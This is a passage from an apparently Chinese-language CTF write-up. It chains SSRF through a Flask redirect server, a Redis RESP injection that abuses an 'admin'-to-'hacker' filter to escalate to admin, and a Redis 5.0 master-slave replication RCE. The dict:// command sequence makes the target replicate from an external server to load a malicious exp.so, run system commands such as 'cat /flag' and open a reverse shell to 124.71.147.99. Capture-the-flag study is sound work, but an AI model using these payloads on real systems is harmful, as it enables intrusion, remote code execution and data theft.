if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)
通过HOST
头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin
。
接下来首先要拿到一个具有admin职权的用户。不难发现源码有漏洞。原理类似于PHP反序列化字符串逃逸,admin会被换成hacker(也有师傅用中文汉字进行逃逸)
以下是本地调试代码和payload毛胚
import base64,json
def add_user(username, password, role):
user_info = {'password': password, 'role': role}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
# print(user_info_serialized)
SET(f'user:{username}', user_info_serialized)
def pack_command(*args):
# 构建 RESP 请求
command = f"*{len(args)}\r\n"
for arg in args:
arg_str = str(arg)
command += f"${len(arg_str)}\r\n{arg_str}\r\n"
return command.encode('utf-8')
def SET(key, value):
# 发送命令
command = pack_command('SET', key, value)
command = WAF(command)
print(command)
def WAF(key):
if b'admin' in key:
key = key.replace(b'admin', b'hacker')
return key
add_user("jay1717adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin\r\n$48\r\neyJwYXNzd29yZCI6ICIxMTEiLCAicm9sZSI6ICJhZG1pbiJ9\r\n",'b','c')
#b'*3\r\n$3\r\nSET\r\n$352\r\nuser:jay17hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker\r\n$48\r\neyJwYXNzd29yZCI6ICIxMTEiLCAicm9sZSI6ICJhZG1pbiJ9\r\n\r\n$40\r\neyJwYXNzd29yZCI6ICJiIiwgInJvbGUiOiAiYyJ9\r\n'
服务器上部署脚本如下:
from flask import Flask, request, Response, redirect
app = Flask(__name__)
@app.route('/play')
def exploit():
# CORS preflight check
if request.method == 'HEAD':
response = Response()
response.headers['Content-Type'] = 'text/x-component'
return response
# after CORS preflight check
elif request.method == 'GET':
ssrfUrl = 'http://172.11.0.3:5000/login?username=jay1717adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A$48%0D%0AeyJwYXNzd29yZCI6ICIxMTEiLCAicm9sZSI6ICJhZG1pbiJ9%0D%0A&password=111'
return redirect(ssrfUrl)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1717, debug=True)
用户名换成下面这个,这个用户已经有admin权限了
jay1717hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
接下来应该是通过curl利用redis的漏洞,拿flag。内网redis主机应该是能访问外网的。
redis版本5.0,打主从复制
第一步。服务器构造被动连接模式恶意Redis服务器,监听本地端口21000。题目内网redis连上服务器上恶意redis后,exp.so回自动加载。
GitHub - Dliv3/redis-rogue-server: Redis 4.x/5.x RCE
python3 redis-rogue-server2.py --server-only
通过SSRF,用dict协议打
参数cmd的值如下,依次执行:
#查看当前redis的相关配置
dict://172.11.0.4:6379/info
#设置Redis服务器的工作目录
dict://172.11.0.4:6379/config:set:dir:./
#查看备份文件名,默认为dump.rdb
dict://172.11.0.4:6379/config:get:dbfilename
#设置备份文件名为exp.so【必要】
dict://172.11.0.4:6379/config:set:dbfilename:exp.so
#read-only【必要】
dict://172.11.0.4:6379/config:set:slave-read-only:no
#连接恶意Redis服务器,设置主服务器IP和端口【必要】
dict://172.11.0.4:6379/slaveof:124.71.147.99:21000
服务器构造的被动连接模式恶意Redis服务器显示连接成功,并且exp.so已经传过去了。
同时会发现,执行完dict://172.11.0.4:6379/slaveof:124.71.147.99:21000
后刚刚逃逸出来的admin权限用户已经不存在了。这是因为主从之后主redis(我的服务器)上面的数据被复制到了从redis(题目靶机),我服务器上面的redis并没有这个用户。(并不是环境崩了)
此时按照之前的步骤重新逃逸一个admin用户出来,继续执行下面的:
#加载恶意模块【必要】
dict://172.11.0.4:6379/module:load:/data/exp.so
#切断主从复制
dict://172.11.0.4:6379/slaveof:no:one
#删除exp.so
dict://172.11.0.4:6379/system.exec:rm$IFS./exp.so
#卸载system模块的加载
dict://172.11.0.4:6379/module:unload:system
#执行系统命令【必要】
dict://172.11.0.4:6379/system.exec:env
dict://172.11.0.4:6379/system.exec:cat$IFS/flag
dict://172.11.0.4:6379/system.rev:124.71.147.99:11111